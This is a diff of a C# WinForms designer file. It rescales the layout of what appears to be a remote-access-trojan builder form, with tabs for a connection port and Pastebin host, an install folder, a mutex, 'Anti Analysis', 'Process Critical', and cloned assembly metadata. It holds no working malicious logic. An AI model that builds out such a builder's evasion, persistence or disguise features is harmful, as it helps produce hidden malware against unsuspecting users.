this.label6.Location = new System.Drawing.Point(9, 231);
|
||||
this.label6.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label6.Name = "label6";
|
||||
this.label6.Size = new System.Drawing.Size(71, 20);
|
||||
this.label6.Size = new System.Drawing.Size(48, 13);
|
||||
this.label6.TabIndex = 7;
|
||||
this.label6.Text = "Pastebin";
|
||||
//
|
||||
// textPort
|
||||
//
|
||||
this.textPort.Location = new System.Drawing.Point(362, 34);
|
||||
this.textPort.Location = new System.Drawing.Point(241, 22);
|
||||
this.textPort.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.textPort.Name = "textPort";
|
||||
this.textPort.Size = new System.Drawing.Size(161, 26);
|
||||
this.textPort.Size = new System.Drawing.Size(109, 20);
|
||||
this.textPort.TabIndex = 6;
|
||||
//
|
||||
// label2
|
||||
//
|
||||
this.label2.AutoSize = true;
|
||||
this.label2.Location = new System.Drawing.Point(308, 37);
|
||||
this.label2.Location = new System.Drawing.Point(205, 24);
|
||||
this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label2.Name = "label2";
|
||||
this.label2.Size = new System.Drawing.Size(38, 20);
|
||||
this.label2.Size = new System.Drawing.Size(26, 13);
|
||||
this.label2.TabIndex = 3;
|
||||
this.label2.Text = "Port";
|
||||
//
|
||||
@ -267,9 +280,11 @@ namespace Server.Forms
|
||||
this.groupBox2.Controls.Add(this.textFilename);
|
||||
this.groupBox2.Controls.Add(this.label3);
|
||||
this.groupBox2.Controls.Add(this.label4);
|
||||
this.groupBox2.Location = new System.Drawing.Point(6, 17);
|
||||
this.groupBox2.Location = new System.Drawing.Point(4, 11);
|
||||
this.groupBox2.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.groupBox2.Name = "groupBox2";
|
||||
this.groupBox2.Size = new System.Drawing.Size(585, 439);
|
||||
this.groupBox2.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.groupBox2.Size = new System.Drawing.Size(390, 285);
|
||||
this.groupBox2.TabIndex = 7;
|
||||
this.groupBox2.TabStop = false;
|
||||
this.groupBox2.Text = "Install";
|
||||
@ -282,17 +297,19 @@ namespace Server.Forms
|
||||
this.comboBoxFolder.Items.AddRange(new object[] {
|
||||
"%AppData%",
|
||||
"%Temp%"});
|
||||
this.comboBoxFolder.Location = new System.Drawing.Point(103, 149);
|
||||
this.comboBoxFolder.Location = new System.Drawing.Point(69, 97);
|
||||
this.comboBoxFolder.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.comboBoxFolder.Name = "comboBoxFolder";
|
||||
this.comboBoxFolder.Size = new System.Drawing.Size(271, 28);
|
||||
this.comboBoxFolder.Size = new System.Drawing.Size(182, 21);
|
||||
this.comboBoxFolder.TabIndex = 8;
|
||||
//
|
||||
// checkBox1
|
||||
//
|
||||
this.checkBox1.AutoSize = true;
|
||||
this.checkBox1.Location = new System.Drawing.Point(15, 29);
|
||||
this.checkBox1.Location = new System.Drawing.Point(10, 19);
|
||||
this.checkBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.checkBox1.Name = "checkBox1";
|
||||
this.checkBox1.Size = new System.Drawing.Size(67, 24);
|
||||
this.checkBox1.Size = new System.Drawing.Size(46, 17);
|
||||
this.checkBox1.TabIndex = 7;
|
||||
this.checkBox1.Text = "OFF";
|
||||
this.checkBox1.UseVisualStyleBackColor = true;
|
||||
@ -302,27 +319,30 @@ namespace Server.Forms
|
||||
//
|
||||
this.textFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Filename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.textFilename.Enabled = false;
|
||||
this.textFilename.Location = new System.Drawing.Point(103, 92);
|
||||
this.textFilename.Location = new System.Drawing.Point(69, 60);
|
||||
this.textFilename.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.textFilename.Name = "textFilename";
|
||||
this.textFilename.Size = new System.Drawing.Size(271, 26);
|
||||
this.textFilename.Size = new System.Drawing.Size(182, 20);
|
||||
this.textFilename.TabIndex = 5;
|
||||
this.textFilename.Text = global::Server.Properties.Settings.Default.Filename;
|
||||
//
|
||||
// label3
|
||||
//
|
||||
this.label3.AutoSize = true;
|
||||
this.label3.Location = new System.Drawing.Point(11, 152);
|
||||
this.label3.Location = new System.Drawing.Point(7, 99);
|
||||
this.label3.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label3.Name = "label3";
|
||||
this.label3.Size = new System.Drawing.Size(54, 20);
|
||||
this.label3.Size = new System.Drawing.Size(36, 13);
|
||||
this.label3.TabIndex = 3;
|
||||
this.label3.Text = "Folder";
|
||||
//
|
||||
// label4
|
||||
//
|
||||
this.label4.AutoSize = true;
|
||||
this.label4.Location = new System.Drawing.Point(11, 95);
|
||||
this.label4.Location = new System.Drawing.Point(7, 62);
|
||||
this.label4.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label4.Name = "label4";
|
||||
this.label4.Size = new System.Drawing.Size(74, 20);
|
||||
this.label4.Size = new System.Drawing.Size(49, 13);
|
||||
this.label4.TabIndex = 4;
|
||||
this.label4.Text = "Filename";
|
||||
//
|
||||
@ -337,9 +357,11 @@ namespace Server.Forms
|
||||
this.groupBox3.Controls.Add(this.txtMutex);
|
||||
this.groupBox3.Controls.Add(this.label5);
|
||||
this.groupBox3.Controls.Add(this.chkAnti);
|
||||
this.groupBox3.Location = new System.Drawing.Point(6, 17);
|
||||
this.groupBox3.Location = new System.Drawing.Point(4, 11);
|
||||
this.groupBox3.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.groupBox3.Name = "groupBox3";
|
||||
this.groupBox3.Size = new System.Drawing.Size(585, 439);
|
||||
this.groupBox3.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.groupBox3.Size = new System.Drawing.Size(390, 285);
|
||||
this.groupBox3.TabIndex = 9;
|
||||
this.groupBox3.TabStop = false;
|
||||
this.groupBox3.Text = "MISC";
|
||||
@ -347,39 +369,42 @@ namespace Server.Forms
|
||||
// txtGroup
|
||||
//
|
||||
this.txtGroup.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Group", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtGroup.Location = new System.Drawing.Point(23, 75);
|
||||
this.txtGroup.Location = new System.Drawing.Point(15, 49);
|
||||
this.txtGroup.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.txtGroup.Name = "txtGroup";
|
||||
this.txtGroup.Size = new System.Drawing.Size(301, 26);
|
||||
this.txtGroup.Size = new System.Drawing.Size(202, 20);
|
||||
this.txtGroup.TabIndex = 17;
|
||||
this.txtGroup.Text = global::Server.Properties.Settings.Default.Group;
|
||||
//
|
||||
// label17
|
||||
//
|
||||
this.label17.AutoSize = true;
|
||||
this.label17.Location = new System.Drawing.Point(19, 43);
|
||||
this.label17.Location = new System.Drawing.Point(13, 28);
|
||||
this.label17.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label17.Name = "label17";
|
||||
this.label17.Size = new System.Drawing.Size(54, 20);
|
||||
this.label17.Size = new System.Drawing.Size(36, 13);
|
||||
this.label17.TabIndex = 16;
|
||||
this.label17.Text = "Group";
|
||||
//
|
||||
// numDelay
|
||||
//
|
||||
this.numDelay.Location = new System.Drawing.Point(27, 368);
|
||||
this.numDelay.Location = new System.Drawing.Point(18, 239);
|
||||
this.numDelay.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.numDelay.Maximum = new decimal(new int[] {
|
||||
999,
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
this.numDelay.Minimum = new decimal(new int[] {
|
||||
1,
|
||||
3,
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
this.numDelay.Name = "numDelay";
|
||||
this.numDelay.Size = new System.Drawing.Size(84, 26);
|
||||
this.numDelay.Size = new System.Drawing.Size(56, 20);
|
||||
this.numDelay.TabIndex = 15;
|
||||
this.numDelay.Value = new decimal(new int[] {
|
||||
1,
|
||||
3,
|
||||
0,
|
||||
0,
|
||||
0});
|
||||
@ -387,16 +412,18 @@ namespace Server.Forms
|
||||
// label16
|
||||
//
|
||||
this.label16.AutoSize = true;
|
||||
this.label16.Location = new System.Drawing.Point(23, 336);
|
||||
this.label16.Location = new System.Drawing.Point(15, 218);
|
||||
this.label16.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label16.Name = "label16";
|
||||
this.label16.Size = new System.Drawing.Size(123, 20);
|
||||
this.label16.Size = new System.Drawing.Size(83, 13);
|
||||
this.label16.TabIndex = 14;
|
||||
this.label16.Text = "Delay (seconds)";
|
||||
//
|
||||
// pictureBox1
|
||||
//
|
||||
this.pictureBox1.Image = global::Server.Properties.Resources.uac;
|
||||
this.pictureBox1.Location = new System.Drawing.Point(183, 275);
|
||||
this.pictureBox1.Location = new System.Drawing.Point(122, 179);
|
||||
this.pictureBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.pictureBox1.Name = "pictureBox1";
|
||||
this.pictureBox1.Size = new System.Drawing.Size(32, 32);
|
||||
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize;
|
||||
@ -406,9 +433,10 @@ namespace Server.Forms
|
||||
// chkBdos
|
||||
//
|
||||
this.chkBdos.AutoSize = true;
|
||||
this.chkBdos.Location = new System.Drawing.Point(23, 283);
|
||||
this.chkBdos.Location = new System.Drawing.Point(15, 184);
|
||||
this.chkBdos.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.chkBdos.Name = "chkBdos";
|
||||
this.chkBdos.Size = new System.Drawing.Size(143, 24);
|
||||
this.chkBdos.Size = new System.Drawing.Size(98, 17);
|
||||
this.chkBdos.TabIndex = 12;
|
||||
this.chkBdos.Text = "Process Critical";
|
||||
this.chkBdos.UseVisualStyleBackColor = true;
|
||||
@ -416,27 +444,31 @@ namespace Server.Forms
|
||||
// txtMutex
|
||||
//
|
||||
this.txtMutex.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "Mutex", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtMutex.Location = new System.Drawing.Point(23, 163);
|
||||
this.txtMutex.Location = new System.Drawing.Point(15, 106);
|
||||
this.txtMutex.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.txtMutex.Name = "txtMutex";
|
||||
this.txtMutex.Size = new System.Drawing.Size(301, 26);
|
||||
this.txtMutex.Size = new System.Drawing.Size(202, 20);
|
||||
this.txtMutex.TabIndex = 11;
|
||||
this.txtMutex.Text = global::Server.Properties.Settings.Default.Mutex;
|
||||
this.txtMutex.MouseEnter += new System.EventHandler(this.txtMutex_MouseEnter);
|
||||
//
|
||||
// label5
|
||||
//
|
||||
this.label5.AutoSize = true;
|
||||
this.label5.Location = new System.Drawing.Point(19, 131);
|
||||
this.label5.Location = new System.Drawing.Point(13, 85);
|
||||
this.label5.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label5.Name = "label5";
|
||||
this.label5.Size = new System.Drawing.Size(52, 20);
|
||||
this.label5.Size = new System.Drawing.Size(36, 13);
|
||||
this.label5.TabIndex = 10;
|
||||
this.label5.Text = "Mutex";
|
||||
//
|
||||
// chkAnti
|
||||
//
|
||||
this.chkAnti.AutoSize = true;
|
||||
this.chkAnti.Location = new System.Drawing.Point(23, 232);
|
||||
this.chkAnti.Location = new System.Drawing.Point(15, 151);
|
||||
this.chkAnti.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.chkAnti.Name = "chkAnti";
|
||||
this.chkAnti.Size = new System.Drawing.Size(125, 24);
|
||||
this.chkAnti.Size = new System.Drawing.Size(85, 17);
|
||||
this.chkAnti.TabIndex = 9;
|
||||
this.chkAnti.Text = "Anti Analysis";
|
||||
this.chkAnti.UseVisualStyleBackColor = true;
|
||||
@ -451,18 +483,20 @@ namespace Server.Forms
|
||||
this.tabControl1.Controls.Add(this.tabPage6);
|
||||
this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
|
||||
this.tabControl1.Location = new System.Drawing.Point(0, 0);
|
||||
this.tabControl1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.tabControl1.Name = "tabControl1";
|
||||
this.tabControl1.SelectedIndex = 0;
|
||||
this.tabControl1.Size = new System.Drawing.Size(607, 497);
|
||||
this.tabControl1.Size = new System.Drawing.Size(405, 323);
|
||||
this.tabControl1.TabIndex = 10;
|
||||
//
|
||||
// tabPage1
|
||||
//
|
||||
this.tabPage1.Controls.Add(this.groupBox1);
|
||||
this.tabPage1.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage1.Location = new System.Drawing.Point(4, 22);
|
||||
this.tabPage1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.tabPage1.Name = "tabPage1";
|
||||
this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage1.Size = new System.Drawing.Size(599, 464);
|
||||
this.tabPage1.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.tabPage1.Size = new System.Drawing.Size(397, 297);
|
||||
this.tabPage1.TabIndex = 0;
|
||||
this.tabPage1.Text = "Connection";
|
||||
this.tabPage1.UseVisualStyleBackColor = true;
|
||||
@ -470,10 +504,11 @@ namespace Server.Forms
|
||||
// tabPage2
|
||||
//
|
||||
this.tabPage2.Controls.Add(this.groupBox2);
|
||||
this.tabPage2.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage2.Location = new System.Drawing.Point(4, 22);
|
||||
this.tabPage2.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.tabPage2.Name = "tabPage2";
|
||||
this.tabPage2.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage2.Size = new System.Drawing.Size(599, 464);
|
||||
this.tabPage2.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.tabPage2.Size = new System.Drawing.Size(397, 297);
|
||||
this.tabPage2.TabIndex = 1;
|
||||
this.tabPage2.Text = "Install";
|
||||
this.tabPage2.UseVisualStyleBackColor = true;
|
||||
@ -481,10 +516,11 @@ namespace Server.Forms
|
||||
// tabPage3
|
||||
//
|
||||
this.tabPage3.Controls.Add(this.groupBox3);
|
||||
this.tabPage3.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage3.Location = new System.Drawing.Point(4, 22);
|
||||
this.tabPage3.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.tabPage3.Name = "tabPage3";
|
||||
this.tabPage3.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage3.Size = new System.Drawing.Size(599, 464);
|
||||
this.tabPage3.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.tabPage3.Size = new System.Drawing.Size(397, 297);
|
||||
this.tabPage3.TabIndex = 2;
|
||||
this.tabPage3.Text = "Misc";
|
||||
this.tabPage3.UseVisualStyleBackColor = true;
|
||||
@ -492,10 +528,11 @@ namespace Server.Forms
|
||||
// tabPage4
|
||||
//
|
||||
this.tabPage4.Controls.Add(this.groupBox4);
|
||||
this.tabPage4.Location = new System.Drawing.Point(4, 29);
|
||||
this.tabPage4.Location = new System.Drawing.Point(4, 22);
|
||||
this.tabPage4.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.tabPage4.Name = "tabPage4";
|
||||
this.tabPage4.Padding = new System.Windows.Forms.Padding(3);
|
||||
this.tabPage4.Size = new System.Drawing.Size(599, 464);
|
||||
this.tabPage4.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.tabPage4.Size = new System.Drawing.Size(397, 297);
|
||||
this.tabPage4.TabIndex = 3;
|
||||
this.tabPage4.Text = "Assembly";
|
||||
this.tabPage4.UseVisualStyleBackColor = true;
|
||||
@ -520,9 +557,11 @@ namespace Server.Forms
|
||||
this.groupBox4.Controls.Add(this.label7);
|
||||
this.groupBox4.Controls.Add(this.txtProduct);
|
||||
this.groupBox4.Controls.Add(this.label8);
|
||||
this.groupBox4.Location = new System.Drawing.Point(6, 17);
|
||||
this.groupBox4.Location = new System.Drawing.Point(4, 11);
|
||||
this.groupBox4.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.groupBox4.Name = "groupBox4";
|
||||
this.groupBox4.Size = new System.Drawing.Size(585, 439);
|
||||
this.groupBox4.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.groupBox4.Size = new System.Drawing.Size(390, 285);
|
||||
this.groupBox4.TabIndex = 8;
|
||||
this.groupBox4.TabStop = false;
|
||||
this.groupBox4.Text = "Assembly Information";
|
||||
@ -530,9 +569,10 @@ namespace Server.Forms
|
||||
// btnClone
|
||||
//
|
||||
this.btnClone.Enabled = false;
|
||||
this.btnClone.Location = new System.Drawing.Point(453, 43);
|
||||
this.btnClone.Location = new System.Drawing.Point(302, 28);
|
||||
this.btnClone.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.btnClone.Name = "btnClone";
|
||||
this.btnClone.Size = new System.Drawing.Size(103, 38);
|
||||
this.btnClone.Size = new System.Drawing.Size(69, 25);
|
||||
this.btnClone.TabIndex = 21;
|
||||
this.btnClone.Text = "Clone";
|
||||
this.btnClone.UseVisualStyleBackColor = true;
|
||||
@ -541,9 +581,10 @@ namespace Server.Forms
|
||||
// btnAssembly
|
||||
//
|
||||
this.btnAssembly.AutoSize = true;
|
||||
this.btnAssembly.Location = new System.Drawing.Point(15, 29);
|
||||
this.btnAssembly.Location = new System.Drawing.Point(10, 19);
|
||||
this.btnAssembly.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.btnAssembly.Name = "btnAssembly";
|
||||
this.btnAssembly.Size = new System.Drawing.Size(85, 24);
|
||||
this.btnAssembly.Size = new System.Drawing.Size(59, 17);
|
||||
this.btnAssembly.TabIndex = 20;
|
||||
this.btnAssembly.Text = "Enable";
|
||||
this.btnAssembly.UseVisualStyleBackColor = true;
|
||||
@ -553,9 +594,10 @@ namespace Server.Forms
|
||||
//
|
||||
this.txtFileVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtFileVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtFileVersion.Enabled = false;
|
||||
this.txtFileVersion.Location = new System.Drawing.Point(159, 398);
|
||||
this.txtFileVersion.Location = new System.Drawing.Point(106, 259);
|
||||
this.txtFileVersion.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.txtFileVersion.Name = "txtFileVersion";
|
||||
this.txtFileVersion.Size = new System.Drawing.Size(397, 26);
|
||||
this.txtFileVersion.Size = new System.Drawing.Size(266, 20);
|
||||
this.txtFileVersion.TabIndex = 19;
|
||||
this.txtFileVersion.Text = global::Server.Properties.Settings.Default.txtFileVersion;
|
||||
//
|
||||
@ -563,9 +605,10 @@ namespace Server.Forms
|
||||
//
|
||||
this.txtProductVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtProductVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtProductVersion.Enabled = false;
|
||||
this.txtProductVersion.Location = new System.Drawing.Point(159, 356);
|
||||
this.txtProductVersion.Location = new System.Drawing.Point(106, 231);
|
||||
this.txtProductVersion.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.txtProductVersion.Name = "txtProductVersion";
|
||||
this.txtProductVersion.Size = new System.Drawing.Size(397, 26);
|
||||
this.txtProductVersion.Size = new System.Drawing.Size(266, 20);
|
||||
this.txtProductVersion.TabIndex = 18;
|
||||
this.txtProductVersion.Text = global::Server.Properties.Settings.Default.txtProductVersion;
|
||||
//
|
||||
@ -573,9 +616,10 @@ namespace Server.Forms
|
||||
//
|
||||
this.txtOriginalFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtOriginalFilename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtOriginalFilename.Enabled = false;
|
||||
this.txtOriginalFilename.Location = new System.Drawing.Point(159, 314);
|
||||
this.txtOriginalFilename.Location = new System.Drawing.Point(106, 204);
|
||||
this.txtOriginalFilename.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.txtOriginalFilename.Name = "txtOriginalFilename";
|
||||
this.txtOriginalFilename.Size = new System.Drawing.Size(397, 26);
|
||||
this.txtOriginalFilename.Size = new System.Drawing.Size(266, 20);
|
||||
this.txtOriginalFilename.TabIndex = 17;
|
||||
this.txtOriginalFilename.Text = global::Server.Properties.Settings.Default.txtOriginalFilename;
|
||||
//
|
||||
@ -583,9 +627,10 @@ namespace Server.Forms
|
||||
//
|
||||
this.txtTrademarks.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtTrademarks", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtTrademarks.Enabled = false;
|
||||
this.txtTrademarks.Location = new System.Drawing.Point(159, 272);
|
||||
this.txtTrademarks.Location = new System.Drawing.Point(106, 177);
|
||||
this.txtTrademarks.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.txtTrademarks.Name = "txtTrademarks";
|
||||
this.txtTrademarks.Size = new System.Drawing.Size(397, 26);
|
||||
this.txtTrademarks.Size = new System.Drawing.Size(266, 20);
|
||||
this.txtTrademarks.TabIndex = 16;
|
||||
this.txtTrademarks.Text = global::Server.Properties.Settings.Default.txtTrademarks;
|
||||
//
|
||||
@ -593,9 +638,10 @@ namespace Server.Forms
|
||||
//
|
||||
this.txtCopyright.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtCopyright", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtCopyright.Enabled = false;
|
||||
this.txtCopyright.Location = new System.Drawing.Point(159, 230);
|
||||
this.txtCopyright.Location = new System.Drawing.Point(106, 149);
|
||||
this.txtCopyright.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.txtCopyright.Name = "txtCopyright";
|
||||
this.txtCopyright.Size = new System.Drawing.Size(397, 26);
|
||||
this.txtCopyright.Size = new System.Drawing.Size(266, 20);
|
||||
this.txtCopyright.TabIndex = 15;
|
||||
this.txtCopyright.Text = global::Server.Properties.Settings.Default.txtCopyright;
|
||||
//
|
||||
@ -603,63 +649,70 @@ namespace Server.Forms
|
||||
//
|
||||
this.txtCompany.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtCompany", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtCompany.Enabled = false;
|
||||
this.txtCompany.Location = new System.Drawing.Point(159, 188);
|
||||
this.txtCompany.Location = new System.Drawing.Point(106, 122);
|
||||
this.txtCompany.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.txtCompany.Name = "txtCompany";
|
||||
this.txtCompany.Size = new System.Drawing.Size(397, 26);
|
||||
this.txtCompany.Size = new System.Drawing.Size(266, 20);
|
||||
this.txtCompany.TabIndex = 14;
|
||||
this.txtCompany.Text = global::Server.Properties.Settings.Default.txtCompany;
|
||||
//
|
||||
// label14
|
||||
//
|
||||
this.label14.AutoSize = true;
|
||||
this.label14.Location = new System.Drawing.Point(8, 359);
|
||||
this.label14.Location = new System.Drawing.Point(5, 233);
|
||||
this.label14.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label14.Name = "label14";
|
||||
this.label14.Size = new System.Drawing.Size(126, 20);
|
||||
this.label14.Size = new System.Drawing.Size(85, 13);
|
||||
this.label14.TabIndex = 13;
|
||||
this.label14.Text = "Product Version:";
|
||||
//
|
||||
// label13
|
||||
//
|
||||
this.label13.AutoSize = true;
|
||||
this.label13.Location = new System.Drawing.Point(8, 401);
|
||||
this.label13.Location = new System.Drawing.Point(5, 261);
|
||||
this.label13.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label13.Name = "label13";
|
||||
this.label13.Size = new System.Drawing.Size(96, 20);
|
||||
this.label13.Size = new System.Drawing.Size(64, 13);
|
||||
this.label13.TabIndex = 12;
|
||||
this.label13.Text = "File Version:";
|
||||
//
|
||||
// label12
|
||||
//
|
||||
this.label12.AutoSize = true;
|
||||
this.label12.Location = new System.Drawing.Point(8, 317);
|
||||
this.label12.Location = new System.Drawing.Point(5, 206);
|
||||
this.label12.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label12.Name = "label12";
|
||||
this.label12.Size = new System.Drawing.Size(135, 20);
|
||||
this.label12.Size = new System.Drawing.Size(90, 13);
|
||||
this.label12.TabIndex = 11;
|
||||
this.label12.Text = "Original Filename:";
|
||||
//
|
||||
// label11
|
||||
//
|
||||
this.label11.AutoSize = true;
|
||||
this.label11.Location = new System.Drawing.Point(8, 275);
|
||||
this.label11.Location = new System.Drawing.Point(5, 179);
|
||||
this.label11.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label11.Name = "label11";
|
||||
this.label11.Size = new System.Drawing.Size(97, 20);
|
||||
this.label11.Size = new System.Drawing.Size(66, 13);
|
||||
this.label11.TabIndex = 10;
|
||||
this.label11.Text = "Trademarks:";
|
||||
//
|
||||
// label10
|
||||
//
|
||||
this.label10.AutoSize = true;
|
||||
this.label10.Location = new System.Drawing.Point(8, 233);
|
||||
this.label10.Location = new System.Drawing.Point(5, 151);
|
||||
this.label10.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label10.Name = "label10";
|
||||
this.label10.Size = new System.Drawing.Size(80, 20);
|
||||
this.label10.Size = new System.Drawing.Size(54, 13);
|
||||
this.label10.TabIndex = 9;
|
||||
this.label10.Text = "Copyright:";
|
||||
//
|
||||
// label9
|
||||
//
|
||||
this.label9.AutoSize = true;
|
||||
this.label9.Location = new System.Drawing.Point(8, 191);
|
||||
this.label9.Location = new System.Drawing.Point(5, 124);
|
||||
this.label9.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label9.Name = "label9";
|
||||
this.label9.Size = new System.Drawing.Size(80, 20);
|
||||
this.label9.Size = new System.Drawing.Size(54, 13);
|
||||
this.label9.TabIndex = 8;
|
||||
this.label9.Text = "Company:";
|
||||
//
|
||||
@ -667,18 +720,20 @@ namespace Server.Forms
|
||||
//
|
||||
this.txtDescription.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtDescription", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtDescription.Enabled = false;
|
||||
this.txtDescription.Location = new System.Drawing.Point(159, 146);
|
||||
this.txtDescription.Location = new System.Drawing.Point(106, 95);
|
||||
this.txtDescription.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.txtDescription.Name = "txtDescription";
|
||||
this.txtDescription.Size = new System.Drawing.Size(397, 26);
|
||||
this.txtDescription.Size = new System.Drawing.Size(266, 20);
|
||||
this.txtDescription.TabIndex = 7;
|
||||
this.txtDescription.Text = global::Server.Properties.Settings.Default.txtDescription;
|
||||
//
|
||||
// label7
|
||||
//
|
||||
this.label7.AutoSize = true;
|
||||
this.label7.Location = new System.Drawing.Point(8, 149);
|
||||
this.label7.Location = new System.Drawing.Point(5, 97);
|
||||
this.label7.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label7.Name = "label7";
|
||||
this.label7.Size = new System.Drawing.Size(93, 20);
|
||||
this.label7.Size = new System.Drawing.Size(63, 13);
|
||||
this.label7.TabIndex = 6;
|
||||
this.label7.Text = "Description:";
|
||||
//
|
||||
@ -686,28 +741,31 @@ namespace Server.Forms
|
||||
//
|
||||
this.txtProduct.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "ProductName", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
|
||||
this.txtProduct.Enabled = false;
|
||||
this.txtProduct.Location = new System.Drawing.Point(159, 104);
|
||||
this.txtProduct.Location = new System.Drawing.Point(106, 68);
|
||||
this.txtProduct.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
|
||||
this.txtProduct.Name = "txtProduct";
|
||||
this.txtProduct.Size = new System.Drawing.Size(397, 26);
|
||||
this.txtProduct.Size = new System.Drawing.Size(266, 20);
|
||||
this.txtProduct.TabIndex = 5;
|
||||
this.txtProduct.Text = global::Server.Properties.Settings.Default.ProductName;
|
||||
//
|
||||
// label8
|
||||
//
|
||||
this.label8.AutoSize = true;
|
||||
this.label8.Location = new System.Drawing.Point(8, 107);
|
||||
this.label8.Location = new System.Drawing.Point(5, 70);
|
||||
this.label8.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
|
||||
this.label8.Name = "label8";
|
||||
this.label8.Size = new System.Drawing.Size(68, 20);
|
||||
this.label8.Size = new System.Drawing.Size(47, 13);
|
||||
this.label8.TabIndex = 4;
|
||||
this.label8.Text = "Product:";
|
||||
//
|
||||
// tabPage5
|
||||
//
|
||||
this.tabPage5.Controls.Add(this.groupBox5);
|
||||
